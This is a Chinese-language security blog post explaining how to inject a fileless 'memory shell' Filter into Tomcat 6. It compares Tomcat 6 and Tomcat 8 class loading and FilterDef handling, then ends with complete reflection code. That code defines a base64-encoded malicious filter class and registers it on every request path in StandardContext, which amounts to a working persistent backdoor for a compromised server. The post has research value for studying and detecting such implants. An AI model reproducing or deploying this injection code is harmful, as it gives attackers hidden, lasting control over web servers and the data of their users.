Java安全之Tomcat6 Filter内存马问题
作者:Zh1z3ven 发布时间:2022-11-20 07:29:23
回顾Tomcat8打法
先回顾下之前Tomcat789的打法
这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象
ApplicationFilterConfig
包含了FilterDef
对象
构造方法如下,如果当前filter属性为null会从FilterDef
取filter的实例对象
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
this.getInstanceManager().newInstance(this.filter);
this.initFilter();
}
}
FilterDef
中存储了filterClass
/ filterName
/ filter
属性
public class FilterDef implements Serializable {
private static final long serialVersionUID = 1L;
private static final StringManager sm;
private String description = null;
private String displayName = null;
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
private String largeIcon = null;
private final Map<String, String> parameters = new HashMap();
private String smallIcon = null;
private String asyncSupported = null;
public FilterDef() {
}
再有就是createFilterChain
中还涉及到filterMap
FilterMap
里主要存放urlpatterner和filterName的映射
public class FilterMap extends XmlEncodingBase implements Serializable {
private static final long serialVersionUID = 1L;
public static final int ERROR = 1;
public static final int FORWARD = 2;
public static final int INCLUDE = 4;
public static final int REQUEST = 8;
public static final int ASYNC = 16;
private static final int NOT_SET = 0;
private int dispatcherMapping = 0;
private String filterName = null;
private String[] servletNames = new String[0];
private boolean matchAllUrlPatterns = false;
private boolean matchAllServletNames = false;
private String[] urlPatterns = new String[0];
tomcat8 * 入filter内存马流程如下:
FilterDef: 设置
setFilter(Filter filter)
setFilterName(String filterName)
setFilterClass(String filterClass)
这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef
将该恶意filterdef put到this.filterDefs
FilterMap:
addURLPattern("/*")
setFilterName(String filterName)
setDispatcher(DispatcherType.REQUEST.name())
,最后调用StandardContext#addFilterMapBefore(filtermap)
添加到this.filterMaps
中ApplicationFilterConfig: 调用有参构造将
FilterDef
作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig
,最终put进standardcontext的属性里去。
探索Tomcat6与Tomcat8之间的区别
主要看下tomcat6和tomcat8之间createFilterChain
不相同的地方 看到ApplicationFilterFactory#createFilterChain
跟进getFilter
主要代码如下:
所以这里构造filterDef
的时候filterClass
为evilfilter的全类名即可
再来看下FilterDef
可以发现确实在Tomcat6下面没有filter
这个属性了
所以一个很大的区别就是在getFilter
方法,也就是获取filter
实例对象的逻辑:
Tomcat8中是通过filterDef
的属性filter
值来拿到 恶意filter实例
Tomcat6中是通过filterDef
的属性filterClass
属性作为类名,通过ClassLoader去实例化
这里当我们调用有参构造实例化ApplicationFilterConfig
时,会进入getFilter
方法逻辑内
重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的
跟进WebappClassLoader#loadClass
看到this.findLoadedClass0(name)
从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性
这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了
这里肯定是没有我们的恶意filter,继续往下跟
后面直接调用java.lang.ClassLoader#findLoadedClass
来通过ClassLoader去找是否已经加载过该class了
而在这里是直接找到了
查阅开发资料并思考了一下:
这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass
了,所以这里就是可以找到的
后面随手翻了下classloader
的属性,发现在classes
属性是存在该filter的class的
那么正好来debug一下当前线程上下文ClassLoader#loadClass
的过程
可以看到当前上下文的ClassLoader就是WebappClassLoader
,并且此时classes
属性里并没有我们的恶意类
而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoader
的classes
属性中就新增了我们的恶意filter的class
所以后续在getFilter
的逻辑中也是可以成功通过
回溯上面的逻辑时,getFilter
方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass
的我们的恶意filter
以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()
去加载的我们恶意filter类,而tomcat6中getFilter
逻辑是通过this.context.getLoader().getClassLoader();
去findClass,而这两个ClassLoader又同为WebappClassLoader
所以不会存在ClassNotfound
的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()
去defineClass
一下恶意filter即可。
注入内存马的主要代码如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);
try {
if (STANDARDCONTET != null) {
// 1 反射获取filterDef
Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
Object filterDef = FilterDefconstructor.newInstance();
// 2 设置filtername
Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod.invoke(filterDef,filterName);
// 3 setFilterClass
Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());
// 4 addFilterDef
Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
addFilterDef.invoke(STANDARDCONTET,filterDef);
// 构造FilterMap
Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
Object filterMap = FilterMapClass.newInstance();
Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
setDispatcherMethod.invoke(filterMap,"REQUEST");
Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
addURLPatternMethod.invoke(filterMap,"/*");
Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
addFilterMapMethod.invoke(STANDARDCONTET,filterMap);
// 创建filterconfig 并添加到standardcontext.filterconfigs数组里
Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
filterConfigCon.setAccessible(true);
// 实例化ApplicationFilterConfig时触发getFilter方法
Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);
Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
filterConfigsMap.put(filterName, filterConfigObj);
}
} catch (Throwable var16) {
var16.printStackTrace();
}
来源:https://www.cnblogs.com/CoLo/p/16840371.html


猜你喜欢
- 开发设计搞了一个带圆形进度的进度条,在GitHub上逛了一圈,发现没有,自己撸吧。先看界面效果:主要思路是写一个继承ProgressBar的
- SpringMVC @RequestBody自动转json Http415错误项目中想用@RequestBody直接接收json串转成对象网
- 这篇文章主要介绍了SpringBoot实现 * 、过滤器、 * 过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考
- 队列的特点1.可以使用数组和链表两种方式来实现。2.遵循先入先出(FIFO)的规则,即先进入的数据先出。3.属于有序列表。图解实现过程:1.
- 本文介绍了详解WMI RPC 服务器不可用的解决方案,分享给大家,具体如下:ConnectionOptions connectionOpti
- 阿里云accessID和secret请自行进入阿里云申请sms.template.code请进入阿里云,进行短信服务进行魔板添加开源代码地址
- 前言在前面的篇章中,对Java语言的简单数据类型、数组、运算符和表达式以及流程控制的方法做了详细介绍。从本章开始,我们正式介绍面向对象的程序
- DllImport是System.Runtime.InteropServices命名空间下的一个属性类,其功能是提供从非托管DLL导出的函数
- 本文实例讲述了使用adb命令向Android模拟器中导入通讯录联系人的方法。分享给大家供大家参考。具体实现方法如下:使用adb提供的命令,
- 目录一、定义联合(union)二、初始化联合(union)三、联合体变量的声明四、联合体变量的赋值和使用五、struct和union和区别u
- Java虚拟机(JVM)是可运行Java代码的假想计算机。只要根据JVM规格描述将解释器移植到特定的计算机上,就能保证经过编译的任何Java
- 一、代码结构:二、数据实体类:using System;using System.Collections.Generic;using Sys
- 现在越来越多手机支持OTG功能,通过OTG可以实现与外接入的U盘等USB设备实现数据传输。 USB OTG(On The Go)作
- MQ:消息队列/消息中间件/消息代理,产品有很多,ActiveMQ RabbitMQ RocketMQ Kafka1、Stream解决的痛点
- final 类final 类不能被继承,同时,一旦用 final 修饰了类,也就意味着 final 类中的所有方法都被隐式地指定为 fina
- 相信大部分使用Intellij的同学都会遇到这个问题,即使项目使用了spring-boot-devtools,修改了类或者html、js等,
- 官方文档 8.0Spring为不同缓存做了一层抽象,这里通过阅读文档以及源码会对使用以及原理做一些学习笔记。1.简介
- 浅谈java 执行jar包中的main方法通过 OneJar 或 Maven 打包后 jar 文件,用命令:java -jar ****.j
- 简介在多线程中解决线程安全的问题时常用到Synchronized,现在的synchronized相对于早期的synchronized做出了优
- 本文实例为大家分享了OpenGL绘制Bezier曲线的具体代码,供大家参考,具体内容如下项目要求:– 使用鼠标在屏幕中任意设置控制点,并生成